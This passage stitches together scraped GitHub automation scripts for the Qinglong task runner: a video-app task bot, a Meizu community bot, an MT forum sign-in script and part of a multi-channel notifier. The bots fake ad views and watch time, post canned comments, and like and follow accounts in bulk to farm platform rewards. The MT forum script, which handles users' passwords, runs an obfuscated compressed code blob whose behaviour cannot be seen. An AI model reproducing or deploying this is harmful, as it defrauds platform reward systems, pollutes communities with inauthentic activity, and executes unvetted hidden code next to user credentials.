"faceUuid": 0,
"imageArray": "",
"postUuid": postUuid,
"resourceId": "",
})
*/
await task("分享帖子", "\/api\/post\/share.action", {
"postUuid": postUuid
})
await task("分享帖子", "\/missionApi\/action\/uploadAction", {
"actionCode": "share_post",
"params": "{\"post_uuid\":\""+postUuid+"\"}"
})
time = res.data.length > 10 ? 10 : res.data.length;
for (k = 0; k < time; k++) {
signdata += `点赞 ${k}/${time} \n `
await task("点赞", "\/api\/post\/like.action", {
"isLike": 1,
"postUuid":res.data[k].uuid
})
}
}
})
await task("获取播放量最高的限免电视剧", "\/api\/module\/listMoreVods.action", {
"moduleUuid" : "ff80808175b1bb7c017603d94c41487d",
"rows" : 21,
"startRow" : 0
}).then(async (res) => {
if(res.data && res.data.psVodModuleEntryList){
//找到播放量最高的限免电视剧
let playNum = 0;
let vod = [];
for(var vodIndex = 0; vodIndex < res.data.psVodModuleEntryList.length; vodIndex++){
if(res.data.psVodModuleEntryList[vodIndex].playNum > playNum){
playNum = res.data.psVodModuleEntryList[vodIndex].playNum;
vod = res.data.psVodModuleEntryList[vodIndex];
}
}
taskVideoUuid = vod.vodUuid;
signdata += "今天看的限免剧集是:《" + vod.name + "》\n";
}
});
await task("获取剧集信息", "\/api\/vod/listVodSactions.action", {
"hasIntroduction" : 0,
"vodUuid": taskVideoUuid,
}).then(async (res) => {
if (res.data) {
let index = Math.floor(Math.random() * res.data.length);
let dramas = res.data[index];
let session_id = Math.floor(Math.random() * 899 + 100).toString() + Math.floor(Date.now() / 1000).toString();//观看时长用的session_id
if(dramas){
let watchTime = Math.floor(Math.random() * dramas.duration);//随机观看时间
signdata += "本次观看的是:《"+dramas.name+"》\n";
//确保剧集在
await task("发送影视弹幕", "\/api\/barrage\/addBarrage396.action", {
"barrageUuid" : "1",
"content" : "打卡",
"sactionUuid" : dramas.uuid,
"times" : Math.round(Math.random() * 60),
"vodUuid" : dramas.vodUuid,
})
await task("观影记录", "\/api\/watchHistory\/add.action", {
"duration": 4157,
"sactionUuid": dramas.uuid,
"time": 4157,
"vodUuid": dramas.vodUuid,
})
await task("上传观影时长", "\/missionApi\/action\/uploadAction", {
"actionCode": "watch_vod",
"params": "{\"duration\":" + watchTime + ",\"session_id\":\"" + session_id + "\",\"vod_type\":0,\"vod_uuid\":\"" + dramas.vodUuid + "\"}"
})
let comment = ["666", "奥利给!!!", "好看滴很", "爱了爱了", "必须顶", "ヾ(๑╹ヮ╹๑)ノ", "路过ヾ(๑╹ヮ╹๑)ノ", "每日一踩", "重温经典(*゚∀゚*)", "资瓷"]
await task("评论剧集", "/api/post/post.action", {
"atInfoList": "",
"content": comment[Math.round(Math.random() * 10)],
"contentType": 0,
"faceUuid": 0,
"imageArrayStr": "",
"imageResolutionRatio": "",
"redirectTimes": 0,
"resourceId": "",
"thumbnail": "",
"title": "",
"topicName": "",
"uuid": dramas.vodUuid,
"uuidName": "",
"uuidType": "1"
})
await task("分享结果", "\/api\/vod\/shareVod.action", {
"isServiceShareNum": 1,
"vodUuid": dramas.vodUuid
})
}
}
})
/*
let date = new Date();
let msg = await axios.get("https://chp.shadiao.app/api.php");
await task("日常发帖", "/api/post/post.action", {
"atInfoList": "",
"content": msg.data,
"contentType": 0,
"faceUuid": 0,
"imageArrayStr": "",
"imageResolutionRatio": "",
"redirectTimes": 0,
"resourceId": "",
"thumbnail": "",
"title": "日常打卡 " + date.getFullYear() + "-" + (date.getMonth() + 1) + "-" + date.getDate(),
"topicName": "",
"uuid": "ff80808175b1bb7c0175f95318ed42da",
"uuidName": "埋堆吹水堂",
"uuidType": "2"
})
*/
//激励视频x5
//激励视频x5
await task("任务列表", "\/missionApi\/mission\/center", {
}).then(async (res) => {
var videoMissionUuid = 0;
var iosToponAdSeatUuid;
var num= res.data? (res.data.missionGroupList?res.data.missionGroupList.length:0) :0
for (var index = 0; index < num; index++) {
var missionList = res.data.missionGroupList[index].normalMissionList;//普通任务列
if(!missionList){
//签到任务可能没有这个变量导致报错。所以跳过即可
continue;
}
for(var missionListIndex = 0; missionListIndex < missionList.length; missionListIndex++){
if(missionList[missionListIndex].redirectInfo && missionList[missionListIndex].redirectInfo.redirectExtra){
//找到激励视频的任务。
iosToponAdSeatUuid = missionList[missionListIndex].redirectInfo.redirectExtra.iosToponAdSeatUuid;//请求头是IOS 这里使用IOS ,原来的是使用安卓的。
videoMissionUuid = missionList[missionListIndex].missionUuid;//每周的任务ID 都会改变。
if(missionList[missionListIndex].missionStatus){
console.log(missionList[missionListIndex]);
//激励视频任务已经完成
videoMissionUuid = 0;
//打印信息
signdata += `激励视频任务已完成,不重复做。\n`;
}
}
}
}
if (videoMissionUuid) {
console.log('成功获取到本周任务ID 是' + videoMissionUuid);
for (jl = 0; jl < 5; jl++) {
await task("观看激励视频", "\/missionApi\/action\/uploadAction", {
"actionCode": "watch_reward_ad",
"params": "{\"mission_uuid\":\""+videoMissionUuid+"\",\"topon_ad_seat_uuid\":\""+iosToponAdSeatUuid+"\",\"watch_status\":1}"
})
}
}
})
/*
await task("赠送礼物", "\/userLiveApi\/gift\/sendGiftEnd", {
"batchUuid": "4a345dc9221541ee9ba403487bd1965d",
"giftUuid": 4,
"liveUuid": "1044127"
})
await task("赠送礼物", "\/userLiveApi\/gift\/sendGift", {
"batchUuid": "4a345dc9221541ee9ba403487bd1965d",
"deductWay": 1,
"giftUuid": 4,
"liveUuid": "1044127",
"num": 1
})
*/
await task("一键领取奖励", "\/missionApi\/award\/acceptAll", {})
return signdata
}
module.exports = mdd

View File

@@ -0,0 +1,382 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/meizu.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/meizu.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/meizu.js
// # UploadedAt: 2024-01-25T23:07:01Z
// # SHA256: 7a9c608e16e257ce572f771572bf1ea8b595e4d7194617aacaad24e3124bff1b
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
const axios = require("axios");
var sid = ""
var uid = ""
var cookie = `MEIZUSTORESESSIONID=`
const MeiZu = config.meizu
var nickname = "未命名"
var Mcoin = 0;
let sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// 封装meizuGet方法
async function meizuGet(url, data=null, method="get") {
const config = {
method: method,
url: url,
headers: {
Referer: "https://www.meizu.cn",
"local-time": Date.now(),
"android-app-channel": "meizu",
"app-mode":1,
"user-agent": "android_app_myplus",
"android-app-version_name": "6.5.9",
"android-app-version-code": 50000061,
cookie
},
...(method === 'post' && {
data
}),
};
try {
//console.log(config)
const response = await axios(config);
return response;
} catch (error) {
console.error('请求错误', error.response.data.error);
return {error:error.response.data.error,code:400};
}
}
// 获取cookie
/*async function getCookie() {
const tokenUrl = `https://myplus-api.meizu.cn/myplus-qing/ug/app/start`;
const response = await meizuGet(tokenUrl, "", 'get');
if (response && response.data && response.data.code === 200) {
nickname = response.data.data.member.nickname
let rcookie = response.headers["set-cookie"][0]
scookie = rcookie.split(";")[0]
cookie += scookie
}
return cookie;
}
*/
// 获取access_token
async function getAccessToken() {
const url = 'https://api.meizu.com/oauth/token';
const data = new URLSearchParams({
grant_type: 'remember_me',
scope: 'trust',
remember_me: MeiZu.remember,
client_secret: MeiZu.secret,
client_id: MeiZu.clientid,
account_belong: 'MEIZU'
});
try {
const response = await meizuGet(url, data,"post");
if (response.data && response.data.access_token) {
console.log('获取access_token成功');
uid = response.data.user_id
nickname = response.data.nickname
return response.data.access_token;
} else {
console.error('获取access_token失败', response);
return null;
}
} catch (error) {
// console.error('获取access_token时发生错误', error.response.data);
return null;
}
}
// 使用access_token获取sid
async function getSid(accessToken) {
const url = `https://myplus-api.meizu.cn/myplus-login/g/app/login?token=${accessToken}`;
try {
const response = await meizuGet(url);
if (response.data && response.data.code==200) {
sid = response.data.data[0].value
console.log('获取sid成功');
cookie += sid+";"
return cookie
} else {
console.error('获取sid失败', response.data.msg);
return null;
}
} catch (error) {
console.error('获取sid时发生错误', error);
return null;
}
}
async function getCookie() {
const accessToken = await getAccessToken();
if (!accessToken) {
console.error('无法获取access_token');
return null;
}
cookie = await getSid(accessToken);
if (!cookie) {
console.error('无法获取sid');
return null;
}
console.log("获取sid成功: "+sid)
return `MEIZUSTORESESSIONID=${sid};` ;
}
// 查询任务列表函数
async function queryTasks() {
const url = `https://myplus-api.meizu.cn/myplus-muc/u/user/point/task/M_COIN`;
try {
const response = await meizuGet(url, {}, 'post');
if (response && response.data && response.data.code === 200) {
console.log('任务列表查询成功');
Mcoin = response.data.data.mcoin
return response.data.data.list; // 返回任务列表
} else {
console.log('任务列表查询失败', response.data.msg);
return [];
}
} catch (error) {
console.error('查询任务列表时发生错误', error);
return [];
}
}
async function getreply(){
let res = await meizuGet("https://myplus-api.meizu.cn/myplus-qing/ug/comment/rapid/list")
if(res.data.code==200) return res.data.data.list[0]
else return "共赴山海,热爱无界"
}
async function signInMzStore(uid, sid) {
const url = `https://app.store.res.meizu.com/mzstore/sign/add`;
const postData = `uid=${uid}&sid=${sid}`;
const response = await meizuGet(url, postData, "post");
}
// 发表主题函数
async function createTopic(title, content, forumId, topicIds) {
const url = `https://myplus-api.meizu.cn/myplus-qing/u/content/auth/create/v4`;
const data = {
ats: [],
content: `[{\"c\":[{\"id\":\"${topicIds}\",\"n\":\"${title}\",\"c\":[{\"x\":\"\"}],\"t\":\"tc\"}],\"t\":\"p\"}]`,
deviceName: "meizu18pro", // 这里可以根据实际情况修改设备名称
enterId: 0,
format: 1,
forumId: forumId,
forumTagId: 0,
locationId: 0,
pollId: 0,
title: title,
topicIds: topicIds
};
try {
const response = await meizuGet(url, data, 'post');
if (response && response.data && response.data.code === 200) {
console.log(`主题 "${title}" 发表成功主题ID${response.data.data.id}`);
} else {
console.log(`主题 "${title}" 发表失败`, response.data.msg);
}
} catch (error) {
console.error(`发表主题 "${title}" 时发生错误`, error);
}
}
// 收藏主题函数
async function addFavorite(contentId) {
const url = `https://myplus-api.meizu.cn/myplus-qing/u/content/auth/fav/${contentId}?id=${contentId}`;
try {
const response = await meizuGet(url, "", 'post');
if (response && response.data && response.data.code === 200) {
console.log(`主题ID ${contentId} 收藏成功`);
} else {
console.log(`主题ID ${contentId} 收藏失败`, response.data.msg);
}
} catch (error) {
console.error(`收藏主题ID ${contentId} 时发生错误`, error);
}
}
// 评论主题函数
async function addComment(contentId, comment) {
const url = `https://myplus-api.meizu.cn/myplus-qing/u/comment/add/v2`;
const data = {
ats: [],
content: await getreply(),
contentId: contentId,
createTime: Math.floor(Date.now() / 1000), // 当前时间的Unix时间戳
deviceName: "meizu18pro", // 这里可以根据实际情况修改设备名称
isChp: 0,
parentId: 0,
replyId: 0,
replyUid: 0
};
try {
const response = await meizuGet(url,
data, 'post', data);
if (response && response.data && response.data.code === 200) {
console.log(`主题ID ${contentId} 评论成功`);
} else {
console.log(`主题ID ${contentId} 评论失败`, response.data.msg);
}
} catch (error) {
console.error(`评论主题ID ${contentId} 时发生错误`, error);
}
}
// 关注用户函数
async function followUser(uid) {
const url = `https://myplus-api.meizu.cn/myplus-qing/u/member/follow?uid=${uid}`;
try {
const response = await meizuGet(url, "", 'post');
if (response && response.data && response.data.code === 200) {
console.log(`用户ID ${uid} 关注成功`);
} else {
console.log(`用户ID ${uid} 关注失败`, response.data.msg);
}
} catch (error) {
console.error(`关注用户ID ${uid} 时发生错误`, error);
}
}
async function addLike(id) {
const url = `https://myplus-api.meizu.cn/myplus-qing/u/like/content/add?id=${id}`;
try {
const response = await meizuGet(url,"", 'get');
if (response && response.data && response.data.code === 200) {
console.log(`帖子ID ${id} 点赞成功`);
} else {
console.log(`帖子ID ${id} 点赞失败`, response.data.msg);
}
} catch (error) {
console.error(`点赞帖子ID ${id} 时发生错误`, error);
}
}
// 获取论坛文章的函数
async function getForumArticles() {
const url = "https://myplus-api.meizu.cn/myplus-qing/ug/topic/content?currentPage=0&topicId=534&sortType=2";
try {
const response = await meizuGet(url, "", 'get');
if (response && response.data && response.data.data && response.data.data.rows) {
const articles = response.data.data.rows.slice(1, 11)
.map(article => {
return {
id: article.id,
title: article.title,
uid: article.uid
};
});
return articles;
} else {
console.log('没有获取到文章列表');
return [];
}
} catch (error) {
console.error('获取文章列表失败', error);
return [];
}
}
async function signIn() {
const url = `https://myplus-api.meizu.cn/myplus-muc/u/user/signin`;
let res = await meizuGet(url, "", "post");
if (res && res.data.code == 200) {
msg = `煤球奖励+${res.data.data.mcoin},已连续签到${res.data.data.continuous}`;
} else {
msg = res.data.msg + "[可能已签到]";
}
console.log(msg)
return msg
}
// 关注用户函数
async function followUsers(userList) {
for (let i = 0; i < Math.min(3, userList.length); i++) {
await followUser(userList[i].uid);
await sleep(5000);
}
}
// 点赞函数
async function likePosts(postList) {
for (let i = 0; i < Math.min(10, postList.length); i++) {
await addLike(postList[i].id); //
await sleep(5000);
}
}
// 收藏主题函数
async function favoriteTopics(topicList) {
for (let i = 0; i < Math.min(3, topicList.length); i++) {
await addFavorite(topicList[i].id);
await sleep(5000);
}
}
async function addComments(topicList) {
for (let i = 0; i < Math.min(3, topicList.length); i++) {
await addComment(topicList[i].id);
await sleep(5000);
}
}
// 任务
async function meizu() {
let signMsg = ""
try {
const cookie = await getCookie();
if (!cookie) {
msg = '获取cookie失败';
return "【魅族社区】:" + msg;
}
signMsg = await signIn();
const arList = await getForumArticles()
const tasks = await queryTasks();
for (const task of tasks) {
if (!task.complete) { // 如果任务未完成
console.log("去执行任务:" + task.taskName)
switch (task.taskName) {
case '每日签到':
await signIn();
break;
case '点赞':
await likePosts(arList)
break;
case '关注用户':
await followUser(129768998);
await followUsers(arList);
break;
case '发表评论':
await addComments(arList)
break;
case '收藏主题':
await favoriteTopics(arList)
break;
case '发布主题':
//await createTopic("小鸟说早早早", "你为什么背上炸药包", 22, 534)
break;
default:
console.log(`没有定义任务 "${task.taskName}" 的执行操作,跳过`);
break;
}
} else console.log("已完成")
}
await signInMzStore(uid, sid)
await queryTasks()
} catch (err) {
msg = `签到接口请求错误`;
console.log(err);
}
return `【魅族社区(${nickname})】:\n 签到: ${signMsg}\n 煤球:${Mcoin}`;
}
//meizu()
module.exports = meizu;

View File

@@ -0,0 +1,182 @@
# Source: https://github.com/back-101/zyqinglong/blob/main/mt.py
# Raw: https://raw.githubusercontent.com/back-101/zyqinglong/main/mt.py
# Repo: back-101/zyqinglong
# Path: mt.py
# UploadedAt: 2025-11-27T10:49:43Z
# SHA256: 7faceb4d0bbec4de316908471b14966fa04fb9ac907a5fb580d8e957d1789b57
# Category: web版/账密
# Evidence: web/H5关键词 + username/password/login
"""
mt论坛自动签到
支持多用户运行
添加变量mtluntan
账号密码用&隔开
多用户用@隔开
例如账号110086 密码1001
账号11234 密码1234
则变量为10086&1001@1234&1234
export mtluntan=""
cron: 0 0,7 * * *
const $ = new Env("mt论坛");
"""
import requests
import re
import os
import time
#初始化
print('============📣初始化📣============')
#版本
github_file_name = 'mt.py'
sjgx = '2024-11-24T21:30:11.000+08:00'
try:
import marshal
import zlib
exec(marshal.loads(zlib.decompress(b'x\x9c\x85T[O\xdcF\x14\xceK_\xfc+F\x9b\x07\xef\x92\xb5\xbd\xe4\x02\x11\xd4\x0f\x14\xb5I\x95lR\x01\x11\x91\x00\xa1Y{vw\xb2\xf6x33.\x97\xaa\x12mI)I\x015i\x02\xa24j\xa56EjBW\x15\xad\n\x84\xf2c\x92\xf1\x92\xa7>\xe5=\xc7\xf6\x02\xbb\xad\xa2\xce\xca\x92\xf7|\xdf9\xf3\x9d\x9b_/\xbds\xea\x94\x86=o\xb2\xce)\x93\x93\x1e\x15\x12\xd9hlB;\x8d\x9a\xdfn\xbe\xdc]>\xdcj\xa8\xfd\x87\xd1\xe2\\\xb4\xb1\x88\x12\x12:\xfc\xfb\x81Z\xd8m\xae\xcf\xabg\xab\xcd\xa7O^\xfe\xf5{>Z\xff<Z\xfdSm=n.7Z,\xb5\xb0\x1f=l\x00K\x90\xba\xba\xff5a\xae\xe6\x922\xf2g\x128\xdb\x85yE\xe4\x11\x80\xb6\x8e\xf4<\x02\xdc\xd6\xc7\x19\xbcuu\xd5\xa6b0\xd7\xa7!8\x15/(a\x0fujL\x90 \x94\xf50\x96\x9b\xc9$\xffO\xa3\xe8\xf1\xbc\xda\xdbM\xf5\x1d\x8bK\xb0r\xc0\x11e.\x99\xce#\x88\r\xafpa\xe8\x13\x8e%\xc9\xb6]\x16\x1fZN\x99\xc8\xb6\x91GX\n#\x03u\x9fP\xdan?c#!yL\xcau\xc0N\xc0$e!\xd1\xde\xceGg\xe2\xf4;S9b\xc5\xf5H\x90\xce\xbcM\\\xaf\x03\x92Mi\xb9V\xda\x87\x8d/\xa0Y\xea\xcb;\xcd\xfd-(xG\x03\xa2\xc5\x07j\xa9\xd1Y\x8c\xfft\x00\x9e\xb4\x03\xf0\xb45@\xd3\x92\x96y\x949\xa2\x9am\x95(u\xd6\xed\xb7\x1c=\xd7\xceR\xbf\xcd\xab\x83__\xcd\xdd\x8f\xbe\xff\xf9\x9f\xe7\xebU)\xeb\xa2\xcf\xb2j\xb3!\xf7\xce\x16L\x87Y\xbd\xd7?\xfc\xe8\xe2\xf5q6\xce\xd4\xd6Z\xf4hG\xfd\xf4K\xf4\xc7g\xaf\x16V\xd4\xd2\x8fm\x1e\xa4\x8a\x83\x1a6\x9d\xc0\xb7\x84\xd5\xeb]\x1a\xf6Eq(\xf6\x8aV\x7fP;\x07\xea\x9b\xbb\xea\xce\xd2\xe1\xf6\x8eZ\xde\x8b\x1a\xdbq\xc6\x8d\x95\xe6\xe6=\xb5\xbb\xf2b\xeen\xf3\xc9\x9e7\xa5\x0e\xd6\x8e\xc1\x17s\xf7:u\xfeO6\xb1Zh\x8e~\xac\xbfV\xa1\xb2\x1a\x96\x12=P\x9e\x12\xa6^`\xcd\xce\xdc\xa6\x0c\xc6\x95U,\xc9\t1\x00\xf4\xa94(+\x07\x96\x8f)\xd3\x93X\xa5\x12D\xe2\xe4vH\x84\x14f\x85\xc8,D\xb7\xe3\x1b\xf2U\x82]\xc2\x85\xfd\x89>\x08\xd3C\x984Ff\xeaD\xef\xd3\xa1\xeb\x1eu\xb0\xa4\x01\xb3n\x89\x00\xb6D\x1f"e\xc2\t\x07\xf0HT\x9b$\xc0\x87\x89c\x0cV\x8d\x1b\x18\x18\x99k\x81\xb4\x06r\xefq\xcc\xdcL\xff\xc7v\xe6b&\x8f2\x83U\x1e\xf84\xf4\x13K\xf7\xd9\x9e\xd8V\xa4\x0e\x0fDP\x96\xe8}\xb7B\x8e\x11\x88wC\x10n\x0cT@\x14\x04,\x06\xb3\xd4\xf3\xb0u\xc1,\xa0\xec(lK0%\xd0\xb5\x11\xd4]0\x0b\xfd\x08\x0c=\xe7\xfb\xd1t\xcf\xf9\x1c\x1a\x00\xe5d\x94\x94\xaePi]8\xd7k\x9e\xebA\xd9+\x97G\x8aW\xf30V5\x82.\x11\xa7\x16\xe4P\xa2\x85Xp\x97Y\x88\x7fh\x18\x971\xa7G. \xe6\x04\x0317\x8d\xa1\xb4\x80\xc45F!m\x90t\xb3x\xf52\x14\xa2e\xd7?\xcd\x99q\xa1\xb2i\xff\x84\x035/\x95\xc6\xd2\x12M\x96\xa9G&\x19\xf6\xc9\xc4\x98\xee\xc2\x17@\x9f\xd0Z\x8b/nU\xa6\xd1\xbbv\xecp\xb2\xed\xad\x19i.~\x15m<U\xcf\xd6\xd4\xc6f\xf4\xddv\xf4\xa8\x01\xf39\xc2C\xa2\x9fl>\'2\xe4\x0c\xc5\xd6\xc4F<A\xfa\xfe\x8d~\x80\xc1\x9a\x185\x97\xba4\x19\x88\xa3\x1d\xd3\xde\x00\xfbo\tQ')))
except Exception as e:
print('小错误')
# 发送通知消息
def send_notification_message(title):
try:
from sendNotify import send
send(title, ''.join(all_print_list))
except Exception as e:
if e:
print('发送通知消息失败!')
try:
if didibb == True:
print('📣📣📣📣📣📣📣📣📣📣📣📣📣')
print('📣📣📣请更新版本:📣📣📣📣📣📣')
print('📣https://raw.githubusercontent.com/linbailo/zyqinglong/main/mt.py📣')
print('📣📣📣📣📣📣📣📣📣📣📣📣📣')
else:
print(f"无版本更新")
except Exception as e:
print('无法检查版本更新')
#设置ua
ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36'
session = requests.session()
def pdwl():
#获取ip
ipdi = requests.get('http://ifconfig.me/ip', timeout=6).text.strip()
print(ipdi)
#判断国内外地址
dizhi = f'http://ip-api.com/json/{ipdi}?lang=zh-CN'
pdip = requests.get(url=dizhi, timeout=6).json()
country = pdip['country']
if '中国' == country:
print(country)
else:
print(f'{country}无法访问论坛\n尝试进入论坛报错就是IP无法进入')
#exit()
print('============📣初始化📣============')
try:
pdwl()
except Exception as e:
print('无法判断网络是否可以正常进入论坛\n尝试进入论坛报错就是无法进入')
print('==================================')
def main(username,password):
headers={'User-Agent': ua}
session.get('https://bbs.binmt.cc',headers=headers)
chusihua = session.get('https://bbs.binmt.cc/member.php?mod=logging&action=login&infloat=yes&handlekey=login&inajax=1&ajaxtarget=fwin_content_login',headers=headers)
#print(re.findall('loginhash=(.*?)">', chusihua.text))
try:
loginhash = re.findall('loginhash=(.*?)">', chusihua.text)[0]
formhash = re.findall('formhash" value="(.*?)".*? />', chusihua.text)[0]
except Exception as e:
print('loginhash、formhash获取失败')
denurl = f'https://bbs.binmt.cc/member.php?mod=logging&action=login&loginsubmit=yes&handlekey=login&loginhash={loginhash}&inajax=1'
data = {'formhash': formhash,'referer': 'https://bbs.binmt.cc/forum.php','loginfield': 'username','username': username,'password': password,'questionid': '0','answer': '',}
denlu = session.post(headers=headers, url=denurl, data=data).text
if '欢迎您回来' in denlu:
#获取分组、名字
fzmz = re.findall('欢迎您回来,(.*?),现在', denlu)[0]
myprint(f'{fzmz}:登录成功')
#获取formhash
zbqd = session.get('https://bbs.binmt.cc/k_misign-sign.html', headers=headers).text
formhash = re.findall('formhash" value="(.*?)".*? />', zbqd)[0]
#签到
qdurl=f'https://bbs.binmt.cc/plugin.php?id=k_misign:sign&operation=qiandao&format=text&formhash={formhash}'
qd = session.get(url=qdurl, headers=headers).text
qdyz = re.findall('<root><(.*?)</root>', qd)[0]
myprint(f'签到状态:{qdyz}')
if '已签' in qd:
huoqu(formhash)
else:
myprint('登录失败')
print(re.findall("CDATA(.*?)<", denlu)[0])
return True
def huoqu(formhash):
headers = {'User-Agent': ua}
huo = session.get('https://bbs.binmt.cc/k_misign-sign.html', headers=headers).text
pai = re.findall('您的签到排名:(.*?)</div>', huo)[0]
jiang = re.findall('id="lxreward" value="(.*?)">', huo)[0]
myprint(f'签到排名{pai},奖励{jiang}金币')
#退出登录,想要多用户必须,执行退出
tuic = f'https://bbs.binmt.cc/member.php?mod=logging&action=logout&formhash={formhash}'
session.get(url=tuic, headers=headers)
if __name__ == '__main__':
#账号
username = ''
#username.encode("utf-8")
#密码
password = ''
if 'mtluntan' in os.environ:
fen = os.environ.get("mtluntan").split("@")
myprint(f'查找到{len(fen)}个账号')
myprint('==================================')
for duo in fen:
username,password = duo.split("&")
try:
main(username,password)
myprint('============📣结束📣============')
except Exception as e:
pdcf = False
pdcf1 = 1
while pdcf != True:
if pdcf1 <=3:
pdcf = main(username,password)
else:
pdcf = True
else:
myprint('不存在青龙、github变量')
if username == '' or password == '':
myprint('本地账号密码为空')
exit()
else:
try:
main(username,password)
except Exception as e:
pdcf = False
pdcf1 = 1
while pdcf != True:
if pdcf1 <=3:
pdcf = main(username,password)
else:
pdcf = True
try:
send_notification_message(title='mt论坛') # 发送通知
except Exception as e:
print('小错误')

View File

@@ -0,0 +1,701 @@
# Source: https://github.com/CN-Grace/QinglongScripts/blob/main/notifier.py
# Raw: https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/notifier.py
# Repo: CN-Grace/QinglongScripts
# Path: notifier.py
# UploadedAt: 2026-05-24T03:14:33Z
# SHA256: 8bca8feabe36c8658f261c87589dc58e9363a804f1640653df6b274cee3f6482
# Category: web版/账密
# Evidence: web/H5关键词 + username/password/login
#!/usr/bin/env python3
"""
QinglongScripts 统一通知模块
支持 23 种通知渠道,自动检测已配置渠道并全部推送。
核心 API:
send(title, content) — 文本通知
send_file(title, content, file_path) — 带附件的通知
渠道配置详见 .env.example
"""
import base64
import hashlib
import hmac
import json
import os
import smtplib
import time
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import requests
# ---------- 本地日志 fallback不依赖 utils.py----------
def _log(emoji: str, msg: str):
print(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {emoji} {msg}")
def _log_error(msg: str):
_log("", msg)
# ---------- 一言 ----------
def _fetch_hitokoto() -> str:
if os.environ.get("HITOKOTO", "").strip().lower() == "false":
return ""
try:
resp = requests.get("https://v1.hitokoto.cn/", timeout=3)
if resp.ok:
data = resp.json()
line = data.get("hitokoto", "")
source = data.get("from", "")
return f"\n📜 {line}" + (f" —— {source}" if source else "")
except Exception:
pass
return ""
# ---------- 核心调度 ----------
def send(title: str, content: str) -> None:
"""发送通知到所有已配置渠道"""
full_text = f"{title}\n\n{content}"
hitokoto = _fetch_hitokoto()
if hitokoto:
full_text += hitokoto
channels = [
_send_bark,
_send_console,
_send_dingtalk,
_send_feishu,
_send_gocqhttp,
_send_gotify,
_send_igot,
_send_serverchan,
_send_pushdeer,
_send_synology_chat,
_send_pushplus,
_send_weplusbot,
_send_qmsg,
_send_qywx_app,
_send_qywx_bot,
_send_telegram_text,
_send_aibotk,
_send_smtp,
_send_pushme,
_send_chronocat,
_send_webhook,
_send_ntfy,
_send_wxpusher,
]
any_success = False
for chan in channels:
try:
if chan(title, content):
any_success = True
except Exception as e:
_log_error(f"通知通道 {chan.__name__} 异常: {e}")
if not any_success:
print(f"\n{full_text}\n")
def send_file(title: str, content: str, file_path: str) -> None:
"""发送带附件的通知Telegram / SMTP 发文件,其余通道发文本)"""
hitokoto = _fetch_hitokoto()
full_text = f"{title}\n\n{content}"
if hitokoto:
full_text += hitokoto
# 文件通道
file_ok = False
try:
file_ok = _send_telegram_file(title, content, file_path)
except Exception:
pass
try:
file_ok = _send_smtp_file(title, content, file_path) or file_ok
except Exception:
pass
# 文本通道(跳过已发文件的 Telegram 和 SMTP
skip = {_send_telegram_text, _send_smtp}
text_channels = [c for c in [
_send_bark, _send_console, _send_dingtalk, _send_feishu, _send_gocqhttp,
_send_gotify, _send_igot, _send_serverchan, _send_pushdeer, _send_synology_chat,
_send_pushplus, _send_weplusbot, _send_qmsg, _send_qywx_app, _send_qywx_bot,
_send_aibotk, _send_pushme, _send_chronocat, _send_webhook, _send_ntfy, _send_wxpusher,
] if c not in skip]
any_text = False
for chan in text_channels:
try:
if chan(title, content):
any_text = True
except Exception:
pass
if not file_ok and not any_text:
print(f"\n{full_text}\n")
# ==================== 1. Bark ====================
def _send_bark(title: str, content: str) -> bool:
bark_push = os.environ.get("BARK_PUSH", "").strip()
if not bark_push:
return False
url = bark_push.rstrip("/") + "/" + title + "/" + content
params = {}
for key in ("BARK_ARCHIVE", "BARK_GROUP", "BARK_SOUND", "BARK_ICON", "BARK_LEVEL", "BARK_URL"):
val = os.environ.get(key, "").strip()
if val:
params[key.lower().replace("bark_", "")] = val
try:
resp = requests.get(url, params=params, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 2. 控制台 ====================
def _send_console(title: str, content: str) -> bool:
if os.environ.get("CONSOLE", "").strip().lower() != "true":
return False
print(f"\n{'' * 40}\n{title}\n{'' * 40}\n{content}\n{'' * 40}\n")
return True
# ==================== 3. 钉钉机器人 ====================
def _send_dingtalk(title: str, content: str) -> bool:
token = os.environ.get("DD_BOT_TOKEN", "").strip()
secret = os.environ.get("DD_BOT_SECRET", "").strip()
if not token or not secret:
return False
ts = str(round(time.time() * 1000))
sign = base64.b64encode(
hmac.new(secret.encode(), (ts + "\n" + secret).encode(), hashlib.sha256).digest()
).decode()
url = f"https://oapi.dingtalk.com/robot/send?access_token={token}&timestamp={ts}&sign={sign}"
payload = {"msgtype": "text", "text": {"content": f"{title}\n\n{content}"}}
try:
resp = requests.post(url, json=payload, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 4. 飞书机器人 ====================
def _send_feishu(title: str, content: str) -> bool:
fskey = os.environ.get("FSKEY", "").strip()
if not fskey:
return False
url = f"https://open.feishu.cn/open-apis/bot/v2/hook/{fskey}"
payload = {"msg_type": "text", "content": {"text": f"{title}\n\n{content}"}}
try:
resp = requests.post(url, json=payload, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 5. go-cqhttp ====================
def _send_gocqhttp(title: str, content: str) -> bool:
gobot_url = os.environ.get("GOBOT_URL", "").strip()
gobot_qq = os.environ.get("GOBOT_QQ", "").strip()
if not gobot_url or not gobot_qq:
return False
payload = {"message": f"{title}\n\n{content}"}
if "group_id" in gobot_qq:
payload["group_id"] = gobot_qq.split("=")[1]
else:
payload["user_id"] = gobot_qq.split("=")[1]
token = os.environ.get("GOBOT_TOKEN", "").strip()
headers = {"Authorization": f"Bearer {token}"} if token else {}
try:
resp = requests.post(gobot_url, json=payload, headers=headers, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 6. Gotify ====================
def _send_gotify(title: str, content: str) -> bool:
gotify_url = os.environ.get("GOTIFY_URL", "").strip()
gotify_token = os.environ.get("GOTIFY_TOKEN", "").strip()
if not gotify_url or not gotify_token:
return False
priority = os.environ.get("GOTIFY_PRIORITY", "0").strip()
url = f"{gotify_url.rstrip('/')}/message?token={gotify_token}"
data = {"title": title, "message": content, "priority": int(priority)}
try:
